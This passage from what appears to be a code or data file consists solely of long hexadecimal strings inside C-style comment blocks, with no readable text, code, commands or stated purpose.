9046be8931c864aaaabf918caf6253a2fd60995118c66b22bc020c8f77f5ef5b67ea4f61c751518c560ff1f23a1100beb070b33104712dc4456737a1b2706fb36a3625469179a77cb9fe6f00c2dec5ade328de7c2c25786e42db115e71f26d3f724c9365bc92c3e07c202bbdd382ba3e9e52dc6b106a5f803c3d8feb1739ecb06028af1c90fe9a89d6102ab42b076554d6570068337a76f3f1a3f1d46f4df504bb60555e1daf3020cf90173f9c212bb99f4785a8ff7286fc3f40619104edd9e43aac2be155e407fe57f6b5f487a54abfc40a83773fef1c6b5c458191e39fd236abfd0b93d7e4de82ba2744d502a571fde9ed16cc92aae2a1e033bd1244f452e3ad8d33d723a91fe986cc9a6e456421522a5b39136acf1c211ece8a62f6a0499afb288f6f1c243bfcac90a1596c1095d4d4316983ec212eca205d4bd0d83e3f26c279abf12e1072d310440d9fd26dc2a69ac2453e5854571aed962a4d2ac3fdb97d0b2459b335828aa4cb9dbecb8d68770036794755a3d05cc59fe374e7b61d6b01a1bcf10868c29a23045430bfba179cca1b67afad7e7ba4e11f0a01600ed60c51e9cf3a63bef49194256ce780c3952df583c9f16d2956962e8f3ca6b9b299957ccabfcfd51d0e7f1e9876257b962a76b3a00cbff634fa82cbc49a240efa54704610bde0a00c0406ee0a9e0c4b43d990098d306f3fd358cc532040e8210c0b4d92bd0f844c05868e7601821d2202ca6af3a1b673550318c26c72a322cdde1be0caf1b11b3eeb99ce32610e14106d8639fc55810d3a41ed48d5cf02de15d225ccf1ec797eb04e922b53b154cd66643d0eae93a8e7d928913a5b10fc75e926d6018568672979de1753a271886f59dfab8cd92ee99d2d8cfa7bd8fc70d833931445c1ed8bd3c5818eb8f2c3e32bf3e486c3662d9ee2475f850d5cc37c56e4d480197823e513a49f0ccee822a266b356dc5ec6ccb86805077a84759493e703f74699f716e6b019d87e0a4b31824595d83b43eebdf4863f1aa8ef39c0ad3d5d865ff775c7e4ace6c05c1406c2d82842d3deaa4872b0811bf37f1cfac4fe5a6a3db93ec82a6cc3b2f162b4d99781dfad7bef0d578c00f8db0ad6416c58458ef15f1db4c582b19750399ed4b5dca49bebd0f4687d642e6ad84851786d95507ca3b469d7a94c97bc5b56a73d45f2adc7b30aded640ebb59eb9e99e978b429100666b6da14c20dff0a1c517228430b1d875e90ea15878a826fe77276254fd342b13fae819c434f0e11c994b33bd32c9f70d2d81bd952ec8101ba6757c043e31d8b1923c0a23036f058d15a08b9efab9c543fa65dc9e7c0b62858fda5af4e7a4560b2ff5a533fa447a266130620883fdd7932d0ff4ff575816880da5611fb81fef92eaccd4ee253ed4cebbcd6c87910397044463cdc902677429179ed87c68c9d0289a0cfa4e76a1988367c24b8ba53b2d3fc39b8c138fdbc082e7924cf02c48e28b8feac78596b9569fdf674b442688efbb54fe558ee47df0941950e3eba5200e8cdf207f2*/
/*88822d166480becc7f7e26dae8a095f848185cec92857c9cc7dcd31dcb613426b2910de9f7776c77749097ce53c7b4b014c735e61f02cff00091496a757528ea05f3e1d450d3002cb1a2e51fadbab3746de90b7f3ad9dd641f003dbe051589b8fa95c0c2b43e8e460501a8157265fa02ccf6a118a885117f17e20da6bb457fe112134c06671ab983e0b75030f0ada52cc367209033c3194a3dd4c3c887a12555812e7d6907f07e1a1a018cdd9854f8d078bb87341756599b5b970682126347e9202c59a41783ae7575fc4092d03205a6009912e7cc06ac95d95606eef12d227118bdc38c1768d6688732ee351415c8e40f46167d74684b4b1b9266d820be146faa83530d7896b2577c4107a6167d30006560f67998a8c2f4ff25e32830200ddeccc0767f85db21a72a69ff9d983a26d4427db5ca48bf20c8ed93ea9d5aa7e674b3bd38b81630d71646cdfb75fabcc9610ddbd62e5309e3bfa3e4a630cc0fc7ef7c9dbe4e45de960881b707d0955e7e433f7cb9b2b5b7238c2b6bfd3137c0bc281db1ca083a1bd09709af22cd662f889ccff8295a41223e64b5df33dac022f42986fb373b4733084925244dc7293fe4004114eff4330b0aaf8fa2cbc79c26cbe17e734af81577520807064a32a68be441f552a9041cbd137f88ce501769084c1841d09425d6b70088209f3836174a850b4a8c094b352031b8b7cd0b4a1c070c0401a40b8fc58df250b4aa84dd838a12b138500ec883f58478dd12646c0ac849c5ae9ed94c2dd033a7ccdea707963a933088c18d79945a1a10b526f7349e4e28d0f5dab34e61c3ecbb5d75c43004bdf85324b7d75a6f56c19cb56db45c48b11e40f67d3d31e0a2a36dec5a0d8dd084c1cee4c2e5bf3cdedf08818d17c64b7869348c375252ee68c2d03dc4c6141761bdd683a83c8f388c8196e9a7543b188b52bbde8e9429e13a6c4c29813aee0878dec77d7d3bb6d61018fb9b650a80576738a96c85514b1fdb723f2d200b4f09afc912ca4a1b9851296b97aeceb5102b7827dcca988209e27feeb7b237e0cfe68a96d4c22b16ec56d70a0a73f6693abf144302e668fbaf7a0d86d0faa9bd313d8d76679178ef330dc18f66a8f33f180353e034bf93e867ed33269bb9e92a50b92d8c5e14cc841c9e1efb3577398c2d99b140bad24e569551587ebcc2fe8f948171ddcc0427c612255cf9ef33d7aa5de56c22867b051c850382146969a41d2bf1b6133423bfb1f1d51c5b621ce58d46a0857ca4a65afb0be9c89c9fcb82082bd40e0ecb876498252e5590a44f946c18f086e673c16640d9704bb277a4033516822b4b68b8b1a997dcf18b23ab889364ab7ad5be03bb54a2bbd2fa71e38b881e0a864e2989e7fea609cc2752462bedd60d31257429028424d38c0f5fffd271b62c89d48dd987b671bfdb9d2073b3336b0647684150f0e669b37ef232d474037de1fbc75d1257ed948871949acf3dab94a1eeb7010d80d9994d6717f047724b91fdb0aa53fab7489e1836e5c298a643f6735c0368637c9f1a1ea58666fe4d0a1e66e571a83a78b3d869c67c506f21270a4155873e60488810db4e7b22f2543a005115a352916f43763f65fb2056163509d1e6afa67b736f054df8c853ca3f94f1603f51ba2a03417b5905759380d30f94de2ab335f2bc5df5e3bb2907b21089a84a48f1dcc7b39444d116ecc22f59eb31ca923f6072dcca963928f65895ae7d3fd8b242f18c1755b6fc11c51da6aee30c48415352b441653bae6d2ddeffb0cd0ae1f2e5ef246a568281d965697e715d43c1a01ecff3166443d134ccc8ae972116d3634510e016cafb66cc217619c9f2e55c9e22f1856be2d66b3508e207a0725607c55101e516b2dc683f7193edb4ff4b8dbad4ca1efd49bc3206f4e4f6bdd2fe3a0137df82246c11454e0cf2b59ebdffbba997b766b1d1aeba14e8e3da1a3c0dc08395b4b7368ae9e1c3dcb7b137a847b7181ac4ddae41005c0a829eab209fbba68210d930ea619d9138f01988a1b6e650b9802046ee83516a02b26e49c89809beb9fd413437aa62b28b798d5b639e9a8d01c885c00652108bd602e20904eef5a5b344cfb9842bd8f70aafe4e6bffb12d315fa06de78e515ea2a273803c33beedb3f702631511993b49cad4321b1da1c3912bcf8a9c428374d309934c4a57fba820ea10fa72289d915351e1acafc387597b7799348ebe5f1e24853512f1308294b2c09f10d56cc9166c39b6b44968a9a504a9170dbf012a16706b5fd88281ee806252da766f680389011fe4af6069ff2b93d3ed8bb24f542f5b4a206cf22889afec9961a737d622c9cf468acc79452a7814b6b75cd802509a454a8139c922254d30596883e75fec24868fbde499cf252dee5eeadfa6ebb91fa46abff4763658b2241f9b09288c0affc707899597546c5268a0bd3bcf2a08911ece9e7ee346d48f335af40f25baf948dd764c7e5daa67faae4df119e2b91ce200b44ecd5ffc974f49db7eb22d8821794863eadbd0ddad34157c0ba59a08d3b3621e1c122b6f4cb91a83724945bafcbdb9993489e5c7e9a573005c6a32c84edbc4ea70c58d3e1fcf649c8230a533d5807d6bd97873e8814289f3406c7653fcb5b765f2a9c440706d08ffc0ff33eb4b882b46462f90e9c1316d853ce0ea0d7863605e49ba369efa56d62a049dbd6b0cf09087385b9022ed079dca5b4e67e556d299327f55b142b59f283b0da6e53acdbe4620d05d0b94e76a7c51787370ce9023176ef62ae5a3ea41d993151f4128081350b2cf4d2f5e6ee7f32b745befc41a833aaefa1e99f0d8a69180f79*/
/*199447ce334606b5a516b9b1da2671bcbddada1f042b2d35e67550c5cf1cfb284af4ba5bf951bdafaf46865d69930e763606e221b515648622a64cbdfc1ce90ab42853407fd9976f82d6cc899b0a36698b6fdba342988cfbcf943650dc2641b6149b852260394b614eefa94bdb76cc6de60206972d842614a51d192f6d08d719b97bc9d388fef4f90ab1de3b9c41ebd83c518d2e5d931e41b1ae59d5391fc1114cfc33e2bc5ffe263cbab02ee10a1f7b5dcb4434090918b6ce2352320af0812d3b84d65db73aa85f792f46dd19e304fb8a49848b61a7d9ac23ab528c80ee7699c394283a3a0c3bcbeeb0b375f2ab52286c1bad85ee29c77fefad1d492dc7a9112fd9455a40fae57844e38fe16b1b1ff7c330d3935f510bc5aa16ef4d06ccaa6f43360da1e11c6bccdba8d1a5d531d8a7bb0326367d15a311efbd324c2720682f3c89dd0cd016c54b9e02038b23694169f36237e4c8a1e8ad9bd65cf797b82423c9bc8eb98580d07c5036b33ad3aa3aa4bf7dc06f6b9ec0d6ce16bdde5b07650230bdb5bdbfd937942283bc8af0067a75f5116f28cc5eca5c25474e6add2c71d5b1a382887fdc21f9e4eae454c9cb04e958b7fe8148a2c1bfcd821445a8c84f4f291d2f959e2bef002b7dc2d158704ed8f6374737ca01b6b65c36456361deb9a8272cf5e2773fc998798fc750c59ac2c949723093f845840970f17ecdc124ddbfd644ab0157ea4b7b0fa0f03f622dc8003c8e5f14b0a8c8562a6a833ea9df50781ee13bf6ba59497e638166dc3f34d7dec94454de0cde9707a81bd964bdc490eab362d075629e21cd6da054dc7a10cd0c0e8a4c575fd83642951a0ed68e0274344a300761af570260c055561aa85fa923da6a6931cefd9f437c1e4b8d0d4231cf5d4e604b23cc8df46e739bb7c566ae1b9b144bf9df781f6e1a52067197b8dfb9627014f1095c838e1899bb7c8260aae753ee154afa7916a8ce45205ae178ed7d30a4903b78c78422ea2a7ebf8331b73d00b0de8387c4c1e65260eae8993f27cb8a54b8d8917050a356edcd93745c582d6c63ab92346cb71d05c660bb573f3f171907ee2c2594367cf7bab27687133ab2ed924b858d2fb61c26f481753d714aed52e0e2cb168fbb607f3466667e7106642db9cab8c1cd58c69fbc74234f80438015b1b2b90a6387b3909d0592bd73138f64a8a988e98bab5a673070ccc056595fab74fb48f054918977ddd36a344bf8f01f61764cd9a6590e726f883653525d5f4cdc7cdaccd459f40dae485bdd3a4ebf96f375f4c609764a1c771a2ed55f882c595641eb7704a58ca71de90ce4880aec7f43df05af00432e44c2afce1cf447546d92d9244e9542a4f0365f96e835972805ff250c34ca0ce268a9831155ef8ed07057c757f1cd52c763065ca3781d85aaebfdcec35dff3b09bb8857ec6c0fbdc8651326ae01bb8da21ef0ac2b53b78114048d525b789efc19e47868c9f092f570420f93555f0ce13363da7fb3ff0d6e168f63abaa1e4b9c25086647a4f938d2395b35662a907ce5bbf430f9b21634b8840276e87532e241ddfc60e86ed0836936031e16cd62b1176d60b69ba04ca6c6c39b8d8b5424f3a9852d6c98a39d4dc9b26617b254fd1d0645dc3b5c795f2a6f1c74db7e4dbb6afeb7d6514be10062d8072d079977064583fe8cdb35c032bc94a225aa6302617ec404b556fe9037d0c37487673025d33f05a5c1151fe9175f3201222a36c80913ec674c687f25853e2de283e780b11225ad7e15cce663c9b9d6822ad89582bc9e91f71293158fa82d9dfce7b61bda2a1c26836385e3888acaf96f82b647a953a7fcb5e0a3e9ef1ef9fdc9aeb6b0893b81baf644237187ef206c6f0e16711f334fc6d6202b3632d37b6cdded6d152cbd5b52f39003736d94150d31e2d432ccadfec5189ef895053be262c800e02e1de7c85c0fc2678ad3759e25b22ab040528143445d86d77d9572dc421353691ad30318f404921c18a1d6693eca32a9111f875d641f3bd66eff10a7894b3e15019c68dc8e9f2a224c3b3b380c8136b0e713c26ad0bdc5a0948d857c195884479fa000cffb189a277f1ffb51cb9044ba2b86bfdb959b84d462ce625d30e5859af096cf268d91d9fcb9ff39fefa633128cbf98b339aea4d3d91e3f37a7be2618e95f5907dbd5d0c070a70cbad35f2b355eb996f66796b00690b11df25c4d28ddeef066d221ab8ada177125cb259ffdbf19a89a09379a9756fa8c4e6be4fb266d02e163b741970d408c5837f8ed7e0079d13233cc76b8ae63d4662f2a2e44187f496259b3353208bcb8038afb612032964acd4f80fef51bbd86fc2ac1af557e7c48d633a0aa0f0099cacd8abf33aa2ebb3dfa0bc1ccd4d2da3ae2a0524ffffdd4f74ddc99f430409708e661c330568c6099233578833f6f8cc3080ed8e67bf004b69d50faa9db81a0ea3a1b703d4a39853988a5a0c89d71cf9492b4c7513824cb142c446ed0566cc0488430b2b05061d501732b7b7904acec3748e522d4a2e3f823897695c450a7bdd9fa11f2568c67d22ec93e728530970bd68f99236e4015a3f0ccad0bde753b72e0ee70c5844b9306ebacf45dd6faea8f681f22c1a13762504541e4cdca95c469f5aa44d927597ef6f9a9c96d76a3655b687c3bdf95d61dc3fa6644f8ee88289ad544e275a9e944a2715ddb59b94636c85a648481cb298652e222dd353c2f01e7bd8e1563e9ba3390b28f31950c0334aa44b255871545ef07fe41d79fd0bcc69a8ccbc15df4e82d84c82022e4a3707c73e2a80ab5e260d111f729ac0602418411bba4facc0b95a*/
/*c59f45ad4dbc788206886c5fec2df6a7f66a1317965cd57d88183824647f2fda49999e7e0c7d95ccdd8c0a11cddfd90d4a967be7227f78db39fc4e7154e45868ebb74ac4a016885b46e4e225d622fde2a3ec6743494f7c784e0bb6b0b8f0c2d90b4e27ebd898d69c0fc58fe1094281557bc991f0478e79d611f5b03830783480c271e8486e95c1fd619f726af6ae5bc43f9afdfd67585dcab5510b03201a235c8456ae017115b4e3a5d108c95e6fc4f45ed438dadc6f43e85bc009619fcdc236f4f8853fbf5a7d7ac1a042a623b4598d1743fbaa393c62d8e32bc7a7cbda4a1d7736912b16bd8cc5fa3aaa385ddc80e6913e011cf8962181bad07a98936717a15a939f58d6083bf9830fc88cda8e2b3ffeeb7d8359e9ba37c87810f49cd8b74c93776d0d5848afa71c4d6bf7c210de3c01fc96fc8cf97b5586b0ba401783d20cfc108df850f32a6e1b0b9fdd71e1d8c6e0c79e56e51503988705177b9f4f1cb741e58f410afde4a4aaffe587f0a6e0b53c55fc252df546ddd6494f1aab05c5b37365986642930fcc20af8943568a1a87e75aaeb2e976c2ade1b8b384607599c9ee35d2e24daf951063407a03b53cc957fc3ea7f59e58adf6234cfa4d6a09002c5a3f089e82e3853ce21d53fd4a473fc3bbdcf18580e8025d20ab3388c940776580a7e7eeb6a13a9924203dcdf91d5c0eb01abbaf4b5973641fe59aef5220709ba2f59da6b72397b0217d3db67c854997c4254116d936b35179713c28689ad1d5899ba20113ce7bb224c4bdf77ba86c1350687cf6e00f3fbe985a8ce2b9364c86a79798311481f3d06b6c06c0ea9306ab0378c2f71a66a55bdf93ac9b35cead438bc6edfec92145483c684693f377373a04adad988c289a57ec0f5ec330cd3c1429a5e1484733bdbd19c6e9ec0c6318d5543437f14e1abb6628b5319a842eed534880597046c5ab85fc1f49ca917c7e3eb0690896bb6212c7900757a0418a3201b493f35705693d2b7faedca4a9e105fcecd7525c43e383c16167be6ddb53d8ee681a23c3948bafbbc3ef561a0f42e1a358b7303a8d2c340c02a57cc0b35ed4156099be4410813f22daf6886258cb5179212aaf63480747c7042bcbfda4323ea10836ce9748e35697188815da7dd1b1cf0605b7dda47b2b2b4f7a98acc867a821367e8835d8b592e4a494e83584d26467688e54050847d826d547fe064bf849f35b744151b5e48cfc8dc6823c1534e0ac78c1ba3409e824a6529ca476973d7de3bb1c1ce83910474ef79410e0a1080ba865156197766c600d7cb846010cfe11f8682fee126f0440dd2f07a8ee9fc925985d5aa8eb60220f59eef37857a6f0901cd73c96d180c847335e190d99d9fed6b58ed3ed6849df3fe9784f71a884b26f9c486b8739c0ea5e2a4631e15bd2ea2d995264d6f0d18b5028b359cfb8dcba118445187b9953f1b8667a6d2f1d44427eca203a7182d42f0d39c64b9b01f591b53f87ac45a443b80685d367693d0778e3aa82bbd954a35145f0a0fd6825cd2061698ecd89782c3505a518e7d48ee9ec69ece24a91b77c42dfbea3cb4d275f48fa8d04f91c031c6b547beb728a9ae16fa3587e125b72e70deacbf0ab4a1ceecc4240ac2ca9ff8830d8b18a78555e62ee5303f3e06233caffe56fcda62e4b90a999346ddfbe6dd2ee111666dcafce626113c93273c504a80fdcd2325e551c075787fa261bdcd06ed1c6b2b22e3bad56139652a96df3888b2ba54a7bc4e19309a283efe1135c123030cc9e1ab726c63e12483980dc52c047eb0ff348672da7de4d3b8d2f34ef7e5af7640e0a72e8bd8c07ca1ab7d92d18e3513f09703edd356f71a2ec489359f0565b3e5e02a21f706beed343e0879a5eb67a5d0a7e6f7bec3aa632a3e4322b2755f256ccd45363ebc73eb8a8189ca41038608daa77bea2dde2a148fbe5e0b77c215e46d81e44715426d48149cabbfe45fd38c3d9db881b894adf647264ee4d0b901ce90a2740f8dba9677ac902539f685af0df5da785e98ba4234b202a5c9c748b907c9dd1a2eebe2bf492033e8269a138255023e8759d70b625588907a95919d4987724b967700fbdbebf8092bc867c0dd966dac9785c1b60f39e96085045434ca34bce46ba3b001fb70a2411e89b04ecb12e723eee513b4a2cdd7746ff85836a8467063927d0f1776616f1878bf9b3e044460c60b77efe7c015c64bd704a562cfb6124ef9bef332dc966072f290037c5aae686bcf873ebf0b877ff711307e5597082e5ea2d5415d77706490d1327680c154b636a4c09dda83a62b15e7f1627956e35814e0d8e35394de8c9c695e165576751639fb3f7bb171e6bbaf2171f3d2a387b19157becd5d185b70a4533bcfbada770343c4a02b902eb32590cd7fe34ee092e7df824e65c53810061d37d8baf6cb85e58e200b4fe64d49673ce363daffea06b17be6579cd3256cb49a566e4d5d87345ecede15c6d579dc3290e3368a3c737e2f9d49743674361d7489b0c0ddd9153e977ff01bc7762ef64ebced760ac32991f4f10a514a25c9c5982e30013e1645d846bf3fbe34efd9b217242c069446b020ec866cb40497ac7f388470b4078ccee5567f191f0e63838d35c0b3b76b0c04feaf5d876a77cd3171e799c273d0fdb29a10fc230ff8a08dfc30ea147048e2e89640592426a67af6dece6b596c962487eeaae7a70a86a5fa7728751aca78be3d0544cbbead2c08df9753fc1bb2590dfae736c2e820178edcf27fccea8865ac7be75344ac6ade611997b05f58eb829cb46fe54d955b447300c7412313e66c7b17b3156c2b7a9c06ae22316*/
/*e9a87e414a4df5c3501f14e3b31a01c578e12416432a940c550b0c1ac8952044c518a398b4f4dfcb52c20e5549f3cbdb395ad18ca8023df58d0e457e903ce2e9471487f57c97999f96ac8c1726f852ed2c65698826f4ebf51d61d867d72d3f39c179dd805ac9ca9934cc5db3f3c4c3deca5024b8968b1bac4d72b4d2c6fc384ad935f86c3411f83f363ea65b9a94ef83eac7e6d659662d35a01356b88695dbf178cd239d91c56ef222fc92ec0350eef2c7f28fa9ea99b8eaf86cb086db11ca3fc53530e3d66d805166f6444f7ed84c9c7585e0f23140083f34187a5db620040dcb5c6f7d2c45a8ae2119e8b254abbb6f35f469ad0e06a5c646de25f6f37254e9a57207f9d39eb7b3af12906f1cd766635167a3b68cca73350a3df0a66ccd0ec6c062c2069b3447d6d64559b3257c26696e17192e68b6393fa6291e7b90b57426e1779bf81c357b2ec581151fdaa0c46f9dfa4a7bb0cc24fdbd2546f4f503188cb32b155dd76a12ac062cd3f85d4277d7d120dc6c4639cab5f7af64c6b31c63fc12612d89951fe05d9251c33a934666d7bbde13e86a38fb5f3752b2338a331522071bfd1879c74883876a5b87448d7b2877de622ca3d838fb3bd28563f2f12eb21a4de3413272c310be037f713cf987f1d5fcc0b89515da9fe7a2e633505d37f2de6ce9c014361d63fbbdad4bdb7cf8fc53c72fa6f343da4c7fe2c7117354fe689afa564ef60b848c6a741389e8e3cd190fed88c0750c87c89aa68b5c1817d0683c060dcb73585eff176a35c45a3030fe32a40652059c79a55df2b6d536cbb58040543ca3c96154ef081fc29fbcc84edf745d872a2ca6a7295d457bde12bda6895d52c2b485d8aa67f4c1cbb08b0944ccbf8f09275f9ddba4e0bc09813fa81d56126b37812eb965b1c00de7a6f4c0713fbcf9e8d6324f2ea2bfb85189e639c8730b4f1c375417851e7444bcca611aa020979b3f98266cfb65153d0c87bcdf509316766591fac15074dc3965e39b9317294fd3ed62abeb27be8287298e5aaabd11691be5cf286f9a83e5a40ee904a744ec374af39b0fa7d241fd4abccb4f7b04fb0b19253343701e38bef246fb77cf6d13c6d39f0be4024cf16808aa3254056deb6148953cb16433313fbbb26e67b7b60e14d297d801e96c5c09cf5a741898953ae53224f9eabab01cdae4631b2f6aff92213a3ecdffe290990db00dce0235a250359f08d2fa0a73e2e1bbac38ac06767bb4cb446c5a3f580bc9aba586327412cae67141c283a00529afb7998a76d3339d9a6b517a7365d7f246794306ee5e7ae47a36bf0c012eb7c602a1f5b2cf5a6473ac84ded5ea1aa878018322dc3431440928929e31ffad53dea08a7f64dda2c1818b33424925741dd0c2aee95c0fef534175ba55653b6a646d8a3448f555bac90080e86dd95f585f17253253763edacaae272d4ec03e962721e940e4b666fcea4e2dae91c855596f9a2e8eb5e79cf0400e3a130faaef29c4bbb9e8280894ad7431170817b975acb4e8e781ad2f71baa237aef2e429197d3de003f7e49aae2df799b563106aef41f2206268106be5232ba097708f1f526698ac822c65f2c5156f09956e75371b672a2201a894805786a7f617c27c978ab69b42af138b359122a810058d459aad096979a988f1acdd9fdec185b81d91c92ad70710309d0b859bb77ab50f125fad48e249f35cb11a2f25ef6d6f9f53533ded585dc9d17d06b28c2bf98f05ec53685984300dfd21a55023a157678df1c120d5851b64366c329081784b9a74727f660f86260ee5326116c4521f4fa8681d9a1d5424ebd5603c4ba1a312d3c125ae269401e9718179e8a327cc23daf4a3c0981a809ba5675c920c01283f1a4e921562657254377114e240f3048205d8a717ded7a3037734de25e63bbe3620de8f0e8ed3008fe8572e628a31ef94bef7293015e661b4d6aec23da73bb4a2ca47844822a98bed4bd4987bdc974d4113e80637bba77fc247bca64fac558c283e4076263e2272ebde3b24a11c25c7cea05132cc923d3c2d6bdc62d6b3c0896a6df276ee85de279e8e5b600e0c2c60801cab5e253194a123c6f673d2ae48b69d51a840b5e00eb30fe260a6f688159f16dcbb50af15a8964f486f63c847d5a27aee43fcdbb53e34c449e767cd17456e3155eaffd143652b18b585d87e7dadbf404cfa7fc31bfac6a70035880fbd9289cee8f18e6e15b43c6333796f7cd7d06f8c84598bd2106741ccb49b8dc8b7a35e256f543bd2078c6a75cc75e84f918200e56d057c794d68e5dec57c9847d59e687453a6b934de87af71417cdac7ee820cf9840a85307eab77985af92394aae5e94de91e45a574ab7795298340f481556e1788e5c70ea55dcb4b2a4d2cc69d264e734b4dda625f9db8ea3557b135f6b732e790881b206a0f092e885061f7ec8b0347bb1dd5242dc4075112d7cd7831b50c9929d564ac95638bdb866a1fee2bad3a9368075f487d510deb6a17a762faa63cc52c8cc3e3e7042d1889f67ec3a11c8cb39b2ea92f90d632e46bd2ed17b5e9488e5ad7431f007457d24ae7b471d53c77d5d80b207f2e01c48740529c59488d9c535b00d5f645109736179056aab0d87953c7b1c1c5e0966a56605f3e09298acaaa01f60d24b9847fd456d02f611d09b6cb02eb401db24285a1fb92730626ad648cba63aec52274fd06285e7b510796d01bccea88bd52a0bdf7dec47ebe27f78e0f871cb6528c6878da145b6de5781d72bffcda816de96cf3a12e2fe8ec90bcc36b9682876594b929fb9cbb3c1f3f3459b6ad489d8169e29acf5badaf047aa76291*/
/*1b3fce71b3d1733f63b984b3ea5b37a921ef336e22a2760dd9caaf3dc058793b9e3a62547719a36916c50f976206c970ca37d2949390540558b3de682c34e7e5c21db42ea36d0dc1d94b944b1e2b624507cf13dd3d2adfa29542d2a6f00b96da57dacd5ddeaeaca4c09495c02df6274087dc6869b1a9cbc19d4adfa8ba1f702c770877aeb8dafd5623d996d5481b4f6b9310db978520a0f05e573c7a570fb59b4453b7817e9bcae436b732226b6ef3543079e770f6313c3d32d9ac928e619faa3b2deba33863eee2242b085f095eb9ce6222d54de6be469da681feecda463ce17a5feadf4cfa5203c9066ce64c0d09cdb7ab64cf6c929c8b6f0accd30cd9f5303f4151e5474eab8a22a30ea9e0ad2a25d5d8bd6d75bfea93163c16f562defe8c9c1dbee0ee28fbb8541338d82f6a63d840b411e347ce1f4e112a813d5cf7f8d3eae36a3ba2614d5c1863828d46c9ded73f71deeb1f7f96f7e041d369e40f29a829e79db015b172d967f05a678fbc1a2e0da6547c4e741cf5fe8543adee3cf107d6cc1c69f9e8895b71b2bf2e1cd03eb89e9377fafd048f071e233b25c6877ffbf2911fd507be10f4fb2fa3035ffc12f0ce30138cae05fb90bef2f2e6ddd75f6a57d1475e296cabde1d4f443d01c33a4efcea98c5a946a5e16252b405c279490748e206a403cc8e81ab1e8a0feae7505b373c77cfddf097270db4998b3a363a089da7e6168eb479ae93c3ee3ef11f0d79205769ea9e08e419abda204105b022e6964db372067f4248a694ccd021f6f1ee9762ab74761ad53e62a62dd2336aaa95494b414f1c47e9aed56597fbb6c83cb5a2b898a6793abc897126e894e68bad6137d39d8319e85c051d81855491f306aaeecbcef2d7f26dd3710467524ccb2edc7b14b70cd6840297d5bcbcf4814400c9d481f84ffafb24d7dcd3796eb6c0e53fcfc57d784dc79bacd49b2924dbe59dfde2acaf2de5c9015f124844ea6be4947806580bec5362796c12d95d7aea342b89ed63c075f8cceb866908605bbebad6f7fcb40878f401d7f0ae21eb7344819fd91cff3596625990c51469fa822a695a7b33fd2e6f7b261ed9f5e1b1863feff3417f65420c5aa9cab5934ef1d169f104b2044a68e686a1575e66202cdd096fbe1295a8be93aead2b284eba2d3ebce839f819d987eab942310ac24c017138523b1e02029e047ab74d206e1af3c69197914ccf152db230b75ef4eec28fece49c2de9448e99122d0739c40878ea04d9d83ed9ee13cdc0027ba8ba538897806ec365360fe6b9ad4d79ec18b6f47fd3d57bf725ee4c6ce0c242f88f80a0ca1ae0b214ec1f6de67909ec7dabddf3e56dbf84f4a0cc8cf7158239c60648f8c567623f30efb9ab5982b285c8fb25f204f7fe960bd0378cc725f5fe229a795f66b4ccd4da48f95af5dc1df6123bad1def9a850780f9d6f33fffb6681e847a674d9d47c55c4680c592400b7aafdd52982592960e378662360a85977b43aec0469a3997468d4ecfe6b81cbada9a4acb10cd4c84e7f7b867a57a3fce4aea64760292c61d5845bbc878c7c9e658f760a03bbce9cd2c4b973f92253d6e1a67373fa7058deb1eecec90ac607d4e839b6acfa7d865bde7da60ae53a96eb4cc4bfac29a4a53570a4fddba520e7dd0c33db665deccaa6c53b22a32097d5f1a799892b536f1b624547b88584efc4d9ade55827837ac6c9b1f4eb55504bf5e6d0b9a4257032eb0caf5d58e1581d9457fb22021408344db4e899f3ebf86677c4c63134b66cdbaf294047294ad4248f956920eba9a2c15e0f86817c5dcdc021fc1929cf4faae8fa75a2fc72c4a266e3ad112620fd2605a57b108cd541fe313cf3d1ebfc05d1381806740b01d780c53f29736f1ac75e600a03830187a030b41d3a9b7e87cb2f338d9c3ed51ceedb8c2967c2d463426e2c901de81e36db0c7af81960d4ad23fd706a44197ab25e5c22d2ad13a5d8d53ace4d1403e019ceeb145576bb17e73712a2b1e0163262fb2c70821f089c628ea91c13c110646d43e76d6c22c2145426d0b4fa5797f293d0c65c1fd5169ee9801337e4bc8bce0eee06d09a9abc609213555af85a9ed515dc75d84588b31476338f6ed6bd8cc8d870943b5d8dd1c56455001381223eddd688592555702756771feda64c7a43e5ed2d9a844086f8d6a1da0183165a90cf312d9bda2ad8055ae71947ba1004226362d07d53c7af94ea2578b88160d529280c1d192298376a2d0974913b5966a57e202df97036f23dd7fdd283ccb65e80b4caf3aae7afdee944d957c1e74b1a17572e0ad7b098e7a44a47e219adf4496e9b98cf925e767ea5fcf9edb2f14a758020e2bee66e9fa5ba606008189d47e7e862843708ee3587224bef43354e0b01be8f4d0fa94330d0a5d8dbb22232c851ddc4b1ca29e2bc2440e7b755f8ed4035ea54a25861a352351bb6227daee6f5c27b7bd186989c2e8b98ef3d8404848c1428f45a77f32e6803cb14b5e2ba13f55f21d4a9c9fe61e332c24bca27ad42c2745ab22c88fabed700e940932e48cb9958db30fed2d250b0b8964ea42046b1308892f90427def0ec9052caee8f4bcd854ee5d452d1b1b1e14e630a6fe4a1916131d77534579b27daf72b7933bef50695c760b1a2e3875a6cd0be5618517071a7b4df54898f65efc9d7768489a90d27632c5a1c2ac3fc0c9702bb19f252ba658335e4ed063e1425e7518ca5506ee0fb173f9d499fb38e73447e3fd6c54e957b81dd3ad4c0f642665e82739351f464f649d20000cacc425c8697deb67799b242059684e23f60c681a1ea47cdf1a1fb312218cb10ce6*/
/*2660cc90efe100cd9abd62eda81feb73b0f343d639c1f214f137cbfaa3a13f2abcc0e5310ced587cdda6df68e6b29c40f657f81a78c5ecda0365b4988eac04f4265a1dc6dcd3fa78f10aad411a2244b64375b85c1a97cc28acffb09ff36a8ef5f0522c3bd23dd1a557915ccd3e1989dff23ec7737d2f9354fa7248bfbde29d209e82e9835a664204dc84258a6387ae6040e663e5e4b1b766b3db05eb7d2e6a24874faeb74659aa19d264d24e9d849958d629e28102c019ea46207903f1fecb46cf1607c82aa53406b93c4e4aa21bb65674144cbb236af195cd8c8904449dc7445a89bc62bf48b7e6d34a2f22315dd89fd46ea860608946d3759e1dac18e5d98f81b6c912ca491d1f2ce6ce3c48ede18c1b7ed69137c8e3eb05d3c2056b6e5054c561ccecad4715f0f813e0923c23e7e4c6f23470723ef230b1fa5e45184471d3874ebb9c95f980de85ba5050b758a2f78e48cb57819e1efa6d5eb6b675cd95a7573d5c2fbdaa9ed7b7b131849784e2bdf24d7be94d66243e30e3aab4e5d4dcb563cb4562e27e4204dbf5bf0dfd5db2916707c578f73dea425759564257d22d6b545d75254275bda376e4c6ba1f1aed377254f53f15d4aa348a08178af9acb59e28c4f527a4fb305961e51e039b0d50f93ddee831b706bd71f7875428a3f484be600c56b96abba3b47b68211ebfad24d8